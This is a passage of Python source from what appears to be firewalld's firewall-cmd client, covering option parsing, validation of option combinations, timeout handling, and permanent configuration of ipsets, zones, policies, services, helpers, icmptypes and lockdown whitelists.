action="store_true") parser.add_argument("--direct", action="store_true") # not possible to have sequences of options here parser_direct = parser.add_mutually_exclusive_group() parser_direct.add_argument("--passthrough", nargs=argparse.REMAINDER, metavar=("{ ipv4 | ipv6 | eb }", "<args>")) parser_direct.add_argument("--add-passthrough", nargs=argparse.REMAINDER, metavar=("{ ipv4 | ipv6 | eb }", "<args>")) parser_direct.add_argument("--remove-passthrough", nargs=argparse.REMAINDER, metavar=("{ ipv4 | ipv6 | eb }", "<args>")) parser_direct.add_argument("--query-passthrough", nargs=argparse.REMAINDER, metavar=("{ ipv4 | ipv6 | eb }", "<args>")) parser_direct.add_argument("--get-passthroughs", nargs=1, metavar=("{ ipv4 | ipv6 | eb }")) parser_direct.add_argument("--get-all-passthroughs", action="store_true") parser_direct.add_argument("--add-chain", nargs=3, metavar=("{ ipv4 | ipv6 | eb }", "<table>", "<chain>")) parser_direct.add_argument("--remove-chain", nargs=3, metavar=("{ ipv4 | ipv6 | eb }", "<table>", "<chain>")) parser_direct.add_argument("--query-chain", nargs=3, metavar=("{ ipv4 | ipv6 | eb }", "<table>", "<chain>")) parser_direct.add_argument("--get-all-chains", action="store_true") parser_direct.add_argument("--get-chains", nargs=2, metavar=("{ ipv4 | ipv6 | eb }", "<table>")) parser_direct.add_argument("--add-rule", nargs=argparse.REMAINDER, metavar=("{ ipv4 | ipv6 | eb }", "<table> <chain> <priority> <args>")) parser_direct.add_argument("--remove-rule", nargs=argparse.REMAINDER, metavar=("{ ipv4 | ipv6 | eb }", "<table> <chain> <priority> <args>")) parser_direct.add_argument("--remove-rules", nargs=3, metavar=("{ ipv4 | ipv6 | eb }", "<table> <chain>")) parser_direct.add_argument("--query-rule", nargs=argparse.REMAINDER, metavar=("{ ipv4 | ipv6 | eb }", "<table> <chain> <priority> <args>")) parser_direct.add_argument("--get-rules", nargs=3, metavar=("{ ipv4 | ipv6 | eb }", "<table>", "<chain>")) parser_direct.add_argument("--get-all-rules", action="store_true") ############################################################################## args = sys.argv[1:] if len(sys.argv) > 1: i = -1 if '--passthrough' in args: i = args.index('--passthrough') + 1 elif '--add-passthrough' in args: i = args.index('--add-passthrough') + 1 elif '--remove-passthrough' in args: i = args.index('--remove-passthrough') + 1 elif '--query-passthrough' in args: i = args.index('--query-passthrough') + 1 elif '--add-rule' in args: i = args.index('--add-rule') + 4 elif '--remove-rule' in args: i = args.index('--remove-rule') + 4 elif '--query-rule' in args: i = args.index('--query-rule') + 4 # join <args> into one argument to prevent parser from parsing each iptables # option, because they can conflict with firewall-cmd options # # e.g. --delete (iptables) and --delete-* (firewall-cmd) if (i > -1) and (i < len(args) - 1): aux_args = args[:] args = aux_args[:i+1] # all but not <args> args.append(joinArgs(aux_args[i+1:])) # add <args> as one arg a = parser.parse_args(args) options_standalone = a.help or a.version or \ a.state or a.reload or a.complete_reload or a.runtime_to_permanent or \ a.panic_on or a.panic_off or a.query_panic or \ a.lockdown_on or a.lockdown_off or a.query_lockdown or \ a.get_default_zone or a.set_default_zone or \ a.get_active_zones or a.get_ipset_types or \ a.get_log_denied or a.set_log_denied or \ a.get_automatic_helpers or a.set_automatic_helpers or a.check_config or \ a.get_active_policies options_desc_xml_file = a.set_description or a.get_description or \ a.set_short or a.get_short options_lockdown_whitelist = \ a.list_lockdown_whitelist_commands or a.add_lockdown_whitelist_command or \ a.remove_lockdown_whitelist_command or \ a.query_lockdown_whitelist_command or \ a.list_lockdown_whitelist_contexts or a.add_lockdown_whitelist_context or \ a.remove_lockdown_whitelist_context or \ a.query_lockdown_whitelist_context or \ a.list_lockdown_whitelist_uids or a.add_lockdown_whitelist_uid is not None or \ a.remove_lockdown_whitelist_uid is not None or \ a.query_lockdown_whitelist_uid is not None or \ a.list_lockdown_whitelist_users or a.add_lockdown_whitelist_user or \ a.remove_lockdown_whitelist_user or \ a.query_lockdown_whitelist_user options_config = a.get_zones or a.get_services or a.get_icmptypes or \ options_lockdown_whitelist or a.list_all_zones or \ a.get_zone_of_interface or a.get_zone_of_source or \ a.info_zone or a.info_icmptype or a.info_service or \ a.info_ipset or a.info_policy or a.get_ipsets or a.info_helper or \ a.get_helpers or a.get_policies or a.list_all_policies options_zone_and_policy_adapt_query = \ a.add_service or a.remove_service or a.query_service or \ a.add_port or a.remove_port or a.query_port or \ a.add_protocol or a.remove_protocol or a.query_protocol or \ a.add_source_port or a.remove_source_port or a.query_source_port or \ a.add_icmp_block or a.remove_icmp_block or a.query_icmp_block or \ a.add_forward_port or a.remove_forward_port or a.query_forward_port or \ a.add_rich_rule or a.remove_rich_rule or a.query_rich_rule or \ a.add_masquerade or a.remove_masquerade or a.query_masquerade or \ a.list_services or a.list_ports or a.list_protocols or \ a.list_source_ports or \ a.list_icmp_blocks or a.list_forward_ports or a.list_rich_rules or \ a.list_all or a.get_target or a.set_target options_zone_unique = \ a.add_icmp_block_inversion or a.remove_icmp_block_inversion or \ a.query_icmp_block_inversion or \ a.add_forward or a.remove_forward or a.query_forward or \ a.list_interfaces or a.change_interface or \ a.add_interface or a.remove_interface or a.query_interface or \ a.list_sources or a.change_source or \ a.add_source or a.remove_source or a.query_source options_zone_ops = options_zone_unique or options_zone_and_policy_adapt_query options_policy_unique = \ a.list_ingress_zones or a.add_ingress_zone or \ a.remove_ingress_zone or a.query_ingress_zone or \ a.list_egress_zones or a.add_egress_zone or \ a.remove_egress_zone or a.query_egress_zone or \ a.set_priority or a.get_priority options_policy_ops = options_policy_unique or options_zone_and_policy_adapt_query options_zone = a.zone or a.timeout != "0" or options_zone_ops or \ options_desc_xml_file options_policy = a.policy or a.timeout != "0" or options_policy_ops or \ options_desc_xml_file options_ipset = a.add_entry or a.remove_entry or a.query_entry or \ a.get_entries or a.add_entries_from_file or \ a.remove_entries_from_file or options_desc_xml_file options_icmptype = a.add_destination or a.remove_destination or \ a.query_destination or a.get_destinations or \ options_desc_xml_file options_service = a.add_port or a.remove_port or a.query_port or \ a.get_ports or \ a.add_protocol or a.remove_protocol or a.query_protocol or \ a.get_protocols or \ a.add_source_port or a.remove_source_port or \ a.query_source_port or a.get_source_ports or \ a.add_module or a.remove_module or a.query_module or \ a.get_modules or \ a.set_destination or a.remove_destination or \ a.query_destination or a.get_destinations or \ options_desc_xml_file or \ a.add_include or a.remove_include or a.query_include or \ a.get_includes or \ a.add_helper or a.remove_helper or a.query_helper or \ a.get_service_helpers options_helper = a.add_port or a.remove_port or a.query_port or \ a.get_ports or a.set_module or a.get_module or \ a.set_family or a.get_family or \ options_desc_xml_file options_permanent = a.permanent or options_config or \ a.zone or options_zone_ops or \ a.policy or options_policy_ops or \ a.ipset or options_ipset or \ a.helper or options_helper options_permanent_only = a.new_icmptype or a.delete_icmptype or \ a.new_icmptype_from_file or \ a.load_icmptype_defaults or \ a.new_service or a.delete_service or \ a.new_service_from_file or \ a.load_service_defaults or \ a.new_zone or a.delete_zone or \ a.new_zone_from_file or \ a.load_zone_defaults or \ a.new_policy or a.delete_policy or \ a.new_policy_from_file or \ a.load_policy_defaults or \ a.new_ipset or a.delete_ipset or \ a.new_ipset_from_file or \ a.load_ipset_defaults or \ a.new_helper or a.delete_helper or \ a.new_helper_from_file or \ a.load_helper_defaults or \ (a.icmptype and options_icmptype) or \ (a.service and options_service) or \ (a.helper and options_helper) or \ a.path_zone or a.path_icmptype or a.path_service or \ a.path_ipset or a.path_helper or options_desc_xml_file or \ a.path_policy options_direct = a.passthrough or \ a.add_chain or a.remove_chain or a.query_chain or \ a.get_chains or a.get_all_chains or \ a.add_rule or a.remove_rule or a.remove_rules or a.query_rule or \ a.get_rules or a.get_all_rules or \ a.add_passthrough or a.remove_passthrough or a.query_passthrough or \ a.get_passthroughs or a.get_all_passthroughs options_require_permanent = options_permanent_only or \ a.get_target or a.set_target # these are supposed to only write out some output options_list_get = a.help or a.version or a.list_all or a.list_all_zones or \ a.list_lockdown_whitelist_commands or a.list_lockdown_whitelist_contexts or \ a.list_lockdown_whitelist_uids or a.list_lockdown_whitelist_users or \ a.list_services or a.list_ports or a.list_protocols or a.list_icmp_blocks or \ a.list_forward_ports or a.list_rich_rules or a.list_interfaces or \ a.list_sources or a.get_default_zone or a.get_active_zones or \ a.get_zone_of_interface or a.get_zone_of_source or a.get_zones or \ a.get_services or a.get_icmptypes or a.get_target or \ a.info_zone or a.info_icmptype or a.info_service or \ a.info_ipset or a.get_ipsets or a.get_entries or \ a.info_helper or a.get_helpers or \ a.get_destinations or a.get_description or \ a.list_all_policies or a.info_policy or a.get_policies or \ a.get_active_policies # Set quiet and verbose cmd = FirewallCommand(a.quiet, a.verbose) def myexcepthook(exctype, value, traceback): cmd.exception_handler(str(value)) sys.excepthook = myexcepthook # Check various impossible combinations of options if not (options_standalone or options_ipset or \ options_icmptype or options_service or options_helper or \ options_config or options_zone_ops or options_policy or \ options_direct or options_permanent_only): cmd.fail(parser.format_usage() + "No option specified.") if options_standalone and (options_zone or options_permanent or \ options_direct or options_permanent_only or \ options_ipset or options_policy): cmd.fail(parser.format_usage() + "Can't use stand-alone options with other options.") if options_ipset and not options_desc_xml_file and not a.ipset: cmd.fail(parser.format_usage() + "No ipset specified.") if (options_icmptype and not a.icmptype) and \ not (options_service and a.service) and not options_desc_xml_file: cmd.fail(parser.format_usage() + "No icmptype specified.") if (options_helper and not a.helper) and \ not (options_service and a.service) and \ not options_zone and not options_desc_xml_file and not options_policy: cmd.fail(parser.format_usage() + "No helper specified.") if (options_direct or options_permanent_only) and \ (options_zone and not a.zone) and (options_service and not a.service) and \ (options_icmptype and a.icmptype) and not options_desc_xml_file: cmd.fail(parser.format_usage() + "Can't be used with --zone.") if (a.direct and not options_direct) or (options_direct and not a.direct): cmd.fail(parser.format_usage() + "Wrong usage of 'direct' options.") if a.zone and a.direct: cmd.fail(parser.format_usage() + "--zone is an invalid option with --direct") if a.name and not (a.new_zone_from_file or a.new_service_from_file or \ a.new_ipset_from_file or a.new_icmptype_from_file or \ a.new_helper_from_file or a.new_policy_from_file): cmd.fail(parser.format_usage() + "Wrong usage of '--name' option.") if options_require_permanent and not a.permanent: cmd.fail(parser.format_usage() + "Option can be used only with --permanent.") if options_config and (options_zone or options_policy): cmd.fail(parser.format_usage() + "Wrong usage of --get-zones | --get-services | --get-icmptypes | --get-policies.") if a.timeout != "0": value = 0 unit = 's' if len(a.timeout) < 1: cmd.fail(parser.format_usage() + "'%s' is wrong timeout value. Use for example '2m' or '1h'" % a.timeout) elif len(a.timeout) == 1: if a.timeout.isdigit(): value = int (a.timeout[0]) else: cmd.fail(parser.format_usage() + "'%s' is wrong timeout value. Use for example '2m' or '1h'" % a.timeout) elif len(a.timeout) > 1: if a.timeout.isdigit(): value = int(a.timeout) unit = 's' else: if a.timeout[:-1].isdigit(): value = int (a.timeout[:-1]) else: cmd.fail(parser.format_usage() + "'%s' is wrong timeout value. Use for example '2m' or '1h'" % a.timeout) unit = a.timeout[-1:].lower() if unit == 's': a.timeout = value elif unit == 'm': a.timeout = value * 60 elif unit == 'h': a.timeout = value * 60 * 60 else: cmd.fail(parser.format_usage() + "'%s' is wrong timeout value. Use for example '2m' or '1h'" % a.timeout) else: a.timeout = 0 if a.timeout and not (a.add_service or a.add_port or a.add_protocol or \ a.add_icmp_block or a.add_forward_port or \ a.add_source_port or a.add_forward or \ a.add_masquerade or a.add_rich_rule): cmd.fail(parser.format_usage() + "Wrong --timeout usage") if a.permanent: if a.timeout: cmd.fail(parser.format_usage() + "Can't specify timeout for permanent action.") if options_config and not a.zone: pass elif options_permanent: pass else: cmd.fail(parser.format_usage() + "Wrong --permanent usage.") if a.quiet and options_list_get: # it makes no sense to use --quiet with these options a.quiet = False cmd.set_quiet(a.quiet) cmd.fail("-q/--quiet can't be used with this option(s)") if a.zone and a.policy: cmd.fail(parser.format_usage() + "Can't use --zone with --policy.") if a.policy and options_zone_unique: cmd.fail(parser.format_usage() + "Can't use --policy with zone only options.") if a.zone and options_policy_unique: cmd.fail(parser.format_usage() + "Can't use --zone with policy only options.") if not a.policy and options_policy_unique: cmd.fail(parser.format_usage() + "Must use --policy with policy only options.") if a.help: __usage() sys.exit(0) zone = a.zone try: fw = FirewallClient() except FirewallError as msg: code = FirewallError.get_code(str(msg)) cmd.print_and_exit("Error: %s" % msg, code) fw.setExceptionHandler(cmd.exception_handler) if not fw.connected: if a.state: cmd.print_and_exit ("not running", errors.NOT_RUNNING) else: cmd.print_and_exit ("FirewallD is not running", errors.NOT_RUNNING) cmd.set_fw(fw) if options_zone_ops and not zone and not a.policy and not \ (a.service and options_service) and not \ (a.helper and options_helper): default = fw.getDefaultZone() cmd.print_if_verbose("No zone specified, using default zone, i.e. '%s'" % default) active = list(fw.getActiveZones().keys()) if active and default not in active: cmd.print_msg("""You're performing an operation over default zone ('%s'), but your connections/interfaces are in zone '%s' (see --get-active-zones) You most likely need to use --zone=%s option.\n""" % (default, ",".join(active), active[0])) if a.permanent: if a.get_ipsets: cmd.print_and_exit(" ".join(fw.config().getIPSetNames())) elif a.new_ipset: if not a.type: cmd.fail(parser.format_usage() + "No type specified.") if a.type=='hash:mac' and a.family: cmd.fail(parser.format_usage()+ "--family is not compatible with the hash:mac type") settings = FirewallClientIPSetSettings() settings.setType(a.type) if a.option: for opt in a.option: settings.addOption(*cmd.parse_ipset_option(opt)) if a.family: settings.addOption("family", a.family) config = fw.config() config.addIPSet(a.new_ipset, settings) elif a.new_ipset_from_file: filename = os.path.basename(a.new_ipset_from_file) dirname = os.path.dirname(a.new_ipset_from_file) if dirname == "": dirname = "./" try: obj = ipset_reader(filename, dirname) except FirewallError as msg: cmd.fail("Failed to load ipset file '%s': %s" % \ (a.new_ipset_from_file, msg)) except IOError as msg: cmd.fail("Failed to load ipset file: %s" % msg) if a.name: obj.name = a.name config = fw.config() config.addIPSet(obj.name, obj.export_config()) elif a.delete_ipset: ipset = fw.config().getIPSetByName(a.delete_ipset) ipset.remove() elif a.load_ipset_defaults: ipset = fw.config().getIPSetByName(a.load_ipset_defaults) ipset.loadDefaults() elif a.info_ipset: ipset = fw.config().getIPSetByName(a.info_ipset) cmd.print_ipset_info(a.info_ipset, ipset.getSettings()) sys.exit(0) elif a.path_ipset: ipset = fw.config().getIPSetByName(a.path_ipset) cmd.print_and_exit("%s/%s" % (ipset.get_property("path"), ipset.get_property("filename"))) elif a.ipset: ipset = fw.config().getIPSetByName(a.ipset) settings = ipset.getSettings() if a.add_entry: cmd.add_sequence(a.add_entry, settings.addEntry, settings.queryEntry, None, "'%s'") ipset.update(settings) elif a.remove_entry: cmd.remove_sequence(a.remove_entry, settings.removeEntry, settings.queryEntry, None, "'%s'") ipset.update(settings) elif a.query_entry: cmd.query_sequence(a.query_entry, settings.queryEntry, None, "'%s'") elif a.get_entries: l = settings.getEntries() cmd.print_and_exit("\n".join(l)) elif a.add_entries_from_file: changed = False for filename in a.add_entries_from_file: try: entries = cmd.get_ipset_entries_from_file(filename) except IOError as msg: message = "Failed to read file '%s': %s" % (filename, msg) if len(a.add_entries_from_file) > 1: cmd.print_warning(message) else: cmd.print_and_exit(message) else: old_entries = settings.getEntries() entries_set = set() for entry in old_entries: entries_set.add(entry) for entry in entries: if entry not in entries_set: old_entries.append(entry) entries_set.add(entry) changed = True else: cmd.print_if_verbose( "Warning: ALREADY_ENABLED: %s" % entry) if changed: settings.setEntries(old_entries) if changed: ipset.update(settings) elif a.remove_entries_from_file: changed = False for filename in a.remove_entries_from_file: try: entries = cmd.get_ipset_entries_from_file(filename) except IOError as msg: message = "Failed to read file '%s': %s" % (filename, msg) if len(a.remove_entries_from_file) > 1: cmd.print_warning(message) else: cmd.print_and_exit(message) else: old_entries = settings.getEntries() entries_set = set() for entry in old_entries: entries_set.add(entry) for entry in entries: if entry in entries_set: old_entries.remove(entry) entries_set.discard(entry) changed = True else: cmd.print_if_verbose("Warning: NOT_ENABLED: %s" % entry) if changed: settings.setEntries(old_entries) if changed: ipset.update(settings) elif a.set_description: settings.setDescription(a.set_description) ipset.update(settings) elif a.get_description: cmd.print_and_exit(settings.getDescription()) elif a.set_short: settings.setShort(a.set_short) ipset.update(settings) elif a.get_short: cmd.print_and_exit(settings.getShort()) else: cmd.fail(parser.format_usage() + "Unknown option") elif a.get_zones: cmd.print_and_exit(" ".join(fw.config().getZoneNames())) elif a.new_zone: config = fw.config() config.addZone(a.new_zone, FirewallClientZoneSettings()) elif a.new_zone_from_file: filename = os.path.basename(a.new_zone_from_file) dirname = os.path.dirname(a.new_zone_from_file) if dirname == "": dirname = "./" try: obj = zone_reader(filename, dirname) except FirewallError as msg: cmd.fail("Failed to load zone file '%s': %s" % \ (a.new_zone_from_file, msg)) except IOError as msg: cmd.fail("Failed to load zone file: %s" % msg) if a.name: obj.name = a.name config = fw.config() config.addZone(obj.name, obj.export_config()) elif a.delete_zone: zone = fw.config().getZoneByName(a.delete_zone) zone.remove() elif a.load_zone_defaults: zone = fw.config().getZoneByName(a.load_zone_defaults) zone.loadDefaults() elif a.info_zone: zone = fw.config().getZoneByName(a.info_zone) cmd.print_zone_info(a.info_zone, zone.getSettings(), True) sys.exit(0) elif a.path_zone: zone = fw.config().getZoneByName(a.path_zone) cmd.print_and_exit("%s/%s" % (zone.get_property("path"), zone.get_property("filename"))) elif a.get_policies: cmd.print_and_exit(" ".join(fw.config().getPolicyNames())) elif a.new_policy: config = fw.config() config.addPolicy(a.new_policy, FirewallClientPolicySettings()) elif a.new_policy_from_file: filename = os.path.basename(a.new_policy_from_file) dirname = os.path.dirname(a.new_policy_from_file) if dirname == "": dirname = "./" try: obj = policy_reader(filename, dirname) except FirewallError as msg: cmd.fail("Failed to load policy file '%s': %s" % \ (a.new_policy_from_file, msg)) except IOError as msg: cmd.fail("Failed to load policy file: %s" % msg) if a.name: obj.name = a.name config = fw.config() config.addPolicy(obj.name, obj.export_config_dict()) elif a.delete_policy: policy = fw.config().getPolicyByName(a.delete_policy) policy.remove() elif a.load_policy_defaults: policy = fw.config().getPolicyByName(a.load_policy_defaults) policy.loadDefaults() elif a.info_policy: policy = fw.config().getPolicyByName(a.info_policy) cmd.print_policy_info(a.info_policy, policy.getSettings()) sys.exit(0) elif a.path_policy: policy = fw.config().getPolicyByName(a.path_policy) cmd.print_and_exit("%s/%s" % (policy.get_property("path"), policy.get_property("filename"))) elif a.get_services: cmd.print_and_exit(" ".join(fw.config().getServiceNames())) elif a.new_service: config = fw.config() config.addService(a.new_service, FirewallClientServiceSettings()) elif a.new_service_from_file: filename = os.path.basename(a.new_service_from_file) dirname = os.path.dirname(a.new_service_from_file) if dirname == "": dirname = "./" try: obj = service_reader(filename, dirname) except FirewallError as msg: cmd.fail("Failed to load service file '%s': %s" % \ (a.new_service_from_file, msg)) except IOError as msg: cmd.fail("Failed to load service file: %s" % msg) if a.name: obj.name = a.name config = fw.config() config.addService(obj.name, obj.export_config()) elif a.delete_service: service = fw.config().getServiceByName(a.delete_service) service.remove() elif a.load_service_defaults: service = fw.config().getServiceByName(a.load_service_defaults) service.loadDefaults() elif a.info_service: service = fw.config().getServiceByName(a.info_service) cmd.print_service_info(a.info_service, service.getSettings()) sys.exit(0) elif a.path_service: service = fw.config().getServiceByName(a.path_service) cmd.print_and_exit("%s/%s" % (service.get_property("path"), service.get_property("filename"))) elif a.get_helpers: cmd.print_and_exit(" ".join(fw.config().getHelperNames())) elif a.new_helper: if not a.module: cmd.fail(parser.format_usage() + "No module specified.") settings = FirewallClientHelperSettings() settings.setModule(a.module) if a.family: settings.setFamily(a.family) config = fw.config() config.addHelper(a.new_helper, settings) elif a.new_helper_from_file: filename = os.path.basename(a.new_helper_from_file) dirname = os.path.dirname(a.new_helper_from_file) if dirname == "": dirname = "./" try: obj = helper_reader(filename, dirname) except FirewallError as msg: cmd.fail("Failed to load helper file '%s': %s" % \ (a.new_helper_from_file, msg)) except IOError as msg: cmd.fail("Failed to load helper file: %s" % msg) if a.name: obj.name = a.name config = fw.config() config.addHelper(obj.name, obj.export_config()) elif a.delete_helper: helper = fw.config().getHelperByName(a.delete_helper) helper.remove() elif a.load_helper_defaults: helper = fw.config().getHelperByName(a.load_helper_defaults) helper.loadDefaults() elif a.info_helper: helper = fw.config().getHelperByName(a.info_helper) cmd.print_helper_info(a.info_helper, helper.getSettings()) sys.exit(0) elif a.path_helper: helper = fw.config().getHelperByName(a.path_helper) cmd.print_and_exit("%s/%s" % (helper.get_property("path"), helper.get_property("filename"))) elif a.helper: helper = fw.config().getHelperByName(a.helper) settings = helper.getSettings() if a.add_port: cmd.add_sequence(a.add_port, settings.addPort, settings.queryPort, cmd.parse_port, "%s/%s") helper.update(settings) elif a.remove_port: cmd.remove_sequence(a.remove_port, settings.removePort, settings.queryPort, cmd.parse_port, "%s/%s") helper.update(settings) elif a.query_port: cmd.query_sequence(a.query_port, settings.queryPort, cmd.parse_port, "%s/%s") elif a.get_ports: l = helper.getPorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in l])) elif a.get_module: cmd.print_and_exit(settings.getModule()) elif a.set_module: settings.setModule(cmd.check_module(a.set_module)) helper.update(settings) elif a.get_family: cmd.print_and_exit(settings.getFamily()) elif a.set_family: settings.setFamily(cmd.check_helper_family(a.set_family[0])) helper.update(settings) elif a.set_description: settings.setDescription(a.set_description) helper.update(settings) elif a.get_description: cmd.print_and_exit(settings.getDescription()) elif a.set_short: settings.setShort(a.set_short) helper.update(settings) elif a.get_short: cmd.print_and_exit(settings.getShort()) else: cmd.fail(parser.format_usage() + "Unknown option") elif a.get_icmptypes: cmd.print_and_exit(" ".join(fw.config().getIcmpTypeNames())) elif a.new_icmptype: config = fw.config() config.addIcmpType(a.new_icmptype, FirewallClientIcmpTypeSettings()) elif a.new_icmptype_from_file: filename = os.path.basename(a.new_icmptype_from_file) dirname = os.path.dirname(a.new_icmptype_from_file) if dirname == "": dirname = "./" try: obj = icmptype_reader(filename, dirname) except FirewallError as msg: cmd.fail("Failed to load icmptype file '%s': %s" % \ (a.new_icmptype_from_file, msg)) except IOError as msg: cmd.fail("Failed to load icmptype file: %s" % msg) if a.name: obj.name = a.name config = fw.config() config.addIcmpType(obj.name, obj.export_config()) elif a.delete_icmptype: icmptype = fw.config().getIcmpTypeByName(a.delete_icmptype) icmptype.remove() elif a.load_icmptype_defaults: icmptype = fw.config().getIcmpTypeByName(a.load_icmptype_defaults) icmptype.loadDefaults() elif a.info_icmptype: icmptype = fw.config().getIcmpTypeByName(a.info_icmptype) cmd.print_icmptype_info(a.info_icmptype, icmptype.getSettings()) sys.exit(0) elif a.path_icmptype: icmptype = fw.config().getIcmpTypeByName(a.path_icmptype) cmd.print_and_exit("%s/%s" % (icmptype.get_property("path"), icmptype.get_property("filename"))) elif a.icmptype: icmptype = fw.config().getIcmpTypeByName(a.icmptype) settings = icmptype.getSettings() if a.add_destination: cmd.add_sequence(a.add_destination, settings.addDestination, settings.queryDestination, cmd.check_destination_ipv, "'%s'") icmptype.update(settings) elif a.remove_destination: cmd.remove_sequence(a.remove_destination, settings.removeDestination, settings.queryDestination, cmd.check_destination_ipv, "'%s'") icmptype.update(settings) elif a.query_destination: cmd.query_sequence(a.query_destination, settings.queryDestination, cmd.check_destination_ipv , "'%s'") elif a.get_destinations: l = settings.getDestinations() if len(l) == 0: l = [ "ipv4", "ipv6" ] cmd.print_and_exit("\n".join(l)) elif a.set_description: settings.setDescription(a.set_description) icmptype.update(settings) elif a.get_description: cmd.print_and_exit(settings.getDescription()) elif a.set_short: settings.setShort(a.set_short) icmptype.update(settings) elif a.get_short: cmd.print_and_exit(settings.getShort()) else: cmd.fail(parser.format_usage() + "Unknown option") elif a.service: service = fw.config().getServiceByName(a.service) settings = service.getSettings() if a.add_port: cmd.add_sequence(a.add_port, settings.addPort, settings.queryPort, cmd.parse_port, "%s/%s") service.update(settings) elif a.remove_port: cmd.remove_sequence(a.remove_port, settings.removePort, settings.queryPort, cmd.parse_port, "%s/%s") service.update(settings) elif a.query_port: cmd.query_sequence(a.query_port, settings.queryPort, cmd.parse_port, "%s/%s") elif a.get_ports: l = settings.getPorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in l])) elif a.add_protocol: cmd.add_sequence(a.add_protocol, settings.addProtocol, settings.queryProtocol, None, "'%s'") service.update(settings) elif a.remove_protocol: cmd.remove_sequence(a.remove_protocol, settings.removeProtocol, settings.queryProtocol, None, "'%s'") service.update(settings) elif a.query_protocol: cmd.query_sequence(a.query_protocol, settings.queryProtocol, None, "'%s'") elif a.get_protocols: l = settings.getProtocols() cmd.print_and_exit(" ".join(["%s" % protocol for protocol in l])) elif a.add_source_port: cmd.add_sequence(a.add_source_port, settings.addSourcePort, settings.querySourcePort, cmd.parse_port, "%s/%s") service.update(settings) elif a.remove_source_port: cmd.remove_sequence(a.remove_source_port, settings.removeSourcePort, settings.querySourcePort, cmd.parse_port, "%s/%s") service.update(settings) elif a.query_source_port: cmd.query_sequence(a.query_source_port, settings.querySourcePort, cmd.parse_port, "%s/%s") elif a.get_source_ports: l = settings.getSourcePorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in l])) elif a.add_module: cmd.add_sequence(a.add_module, settings.addModule, settings.queryModule, None, "'%s'") service.update(settings) elif a.remove_module: cmd.remove_sequence(a.remove_module, settings.removeModule, settings.queryModule, None, "'%s'") service.update(settings) elif a.query_module: cmd.query_sequence(a.query_module, settings.queryModule, None, "'%s'") elif a.get_modules: l = settings.getModules() cmd.print_and_exit(" ".join(["%s" % module for module in l])) elif a.set_destination: cmd.add_sequence(a.set_destination, settings.setDestination, settings.queryDestination, cmd.parse_service_destination, "%s:%s") service.update(settings) elif a.remove_destination: # special case for removeDestination: Only ipv, no address for ipv in a.remove_destination: cmd.check_destination_ipv(ipv) if ipv not in settings.getDestinations(): if len(a.remove_destination) > 1: cmd.print_warning("Warning: NOT_ENABLED: '%s'" % ipv) else: code = FirewallError.get_code("NOT_ENABLED") cmd.print_and_exit("Error: NOT_ENABLED: '%s'" % ipv, code) else: settings.removeDestination(ipv) service.update(settings) elif a.query_destination: cmd.query_sequence(a.query_destination, settings.queryDestination, cmd.parse_service_destination, "'%s'") elif a.get_destinations: l = settings.getDestinations() cmd.print_and_exit(" ".join(["%s:%s" % (dest[0], dest[1]) for dest in l.items()])) elif a.add_include: cmd.add_sequence(a.add_include, settings.addInclude, settings.queryInclude, None, "'%s'") service.update(settings) elif a.remove_include: cmd.remove_sequence(a.remove_include, settings.removeInclude, settings.queryInclude, None, "'%s'") service.update(settings) elif a.query_include: cmd.query_sequence(a.query_include, settings.queryInclude, None, "'%s'") elif a.get_includes: l = settings.getIncludes() cmd.print_and_exit(" ".join(["%s" % include for include in sorted(l)])) elif a.add_helper: cmd.add_sequence(a.add_helper, settings.addHelper, settings.queryHelper, None, "'%s'") service.update(settings) elif a.remove_helper: cmd.remove_sequence(a.remove_helper, settings.removeHelper, settings.queryHelper, None, "'%s'") service.update(settings) elif a.query_helper: cmd.query_sequence(a.query_helper, settings.queryHelper, None, "'%s'") elif a.get_service_helpers: l = settings.getHelpers() cmd.print_and_exit(" ".join(["%s" % helper for helper in sorted(l)])) elif a.set_description: settings.setDescription(a.set_description) service.update(settings) elif a.get_description: cmd.print_and_exit(settings.getDescription()) elif a.set_short: settings.setShort(a.set_short) service.update(settings) elif a.get_short: cmd.print_and_exit(settings.getShort()) else: cmd.fail(parser.format_usage() + "Unknown option") # lockdown whitelist elif options_lockdown_whitelist: policies = fw.config().policies() # commands if a.list_lockdown_whitelist_commands: l = policies.getLockdownWhitelistCommands() cmd.print_and_exit("\n".join(l)) elif a.add_lockdown_whitelist_command: cmd.add_sequence(a.add_lockdown_whitelist_command, policies.addLockdownWhitelistCommand, policies.queryLockdownWhitelistCommand, None, "'%s'") elif a.remove_lockdown_whitelist_command: cmd.remove_sequence(a.remove_lockdown_whitelist_command, policies.removeLockdownWhitelistCommand, policies.queryLockdownWhitelistCommand, None, "'%s'") elif a.query_lockdown_whitelist_command: cmd.query_sequence(a.query_lockdown_whitelist_command, policies.queryLockdownWhitelistCommand, None, "'%s'") # contexts elif a.list_lockdown_whitelist_contexts: l = policies.getLockdownWhitelistContexts() cmd.print_and_exit("\n".join(l)) elif a.add_lockdown_whitelist_context: cmd.add_sequence(a.add_lockdown_whitelist_context, policies.addLockdownWhitelistContext, policies.queryLockdownWhitelistContext, None, "'%s'") elif a.remove_lockdown_whitelist_context: cmd.remove_sequence(a.remove_lockdown_whitelist_context, policies.removeLockdownWhitelistContext, policies.queryLockdownWhitelistContext, None, "'%s'") elif a.query_lockdown_whitelist_context: cmd.query_sequence(a.query_lockdown_whitelist_context, policies.queryLockdownWhitelistContext, None, "'%s'") # uids elif a.list_lockdown_whitelist_uids: l = policies.getLockdownWhitelistUids() cmd.print_and_exit(" ".join(map(str, l))) elif a.add_lockdown_whitelist_uid is not None: cmd.add_sequence(a.add_lockdown_whitelist_uid, policies.addLockdownWhitelistUid, policies.queryLockdownWhitelistUid, None, "%s") elif a.remove_lockdown_whitelist_uid is not None: cmd.remove_sequence(a.remove_lockdown_whitelist_uid, policies.removeLockdownWhitelistUid, policies.queryLockdownWhitelistUid, None, "%s") elif a.query_lockdown_whitelist_uid is not None: cmd.query_sequence(a.query_lockdown_whitelist_uid, policies.queryLockdownWhitelistUid, None, "%s") # users elif a.list_lockdown_whitelist_users: l = policies.getLockdownWhitelistUsers() cmd.print_and_exit("\n".join(l)) elif a.add_lockdown_whitelist_user: cmd.add_sequence(a.add_lockdown_whitelist_user, policies.addLockdownWhitelistUser, policies.queryLockdownWhitelistUser, None, "%s") elif a.remove_lockdown_whitelist_user: cmd.remove_sequence(a.remove_lockdown_whitelist_user, policies.removeLockdownWhitelistUser, policies.queryLockdownWhitelistUser, None, 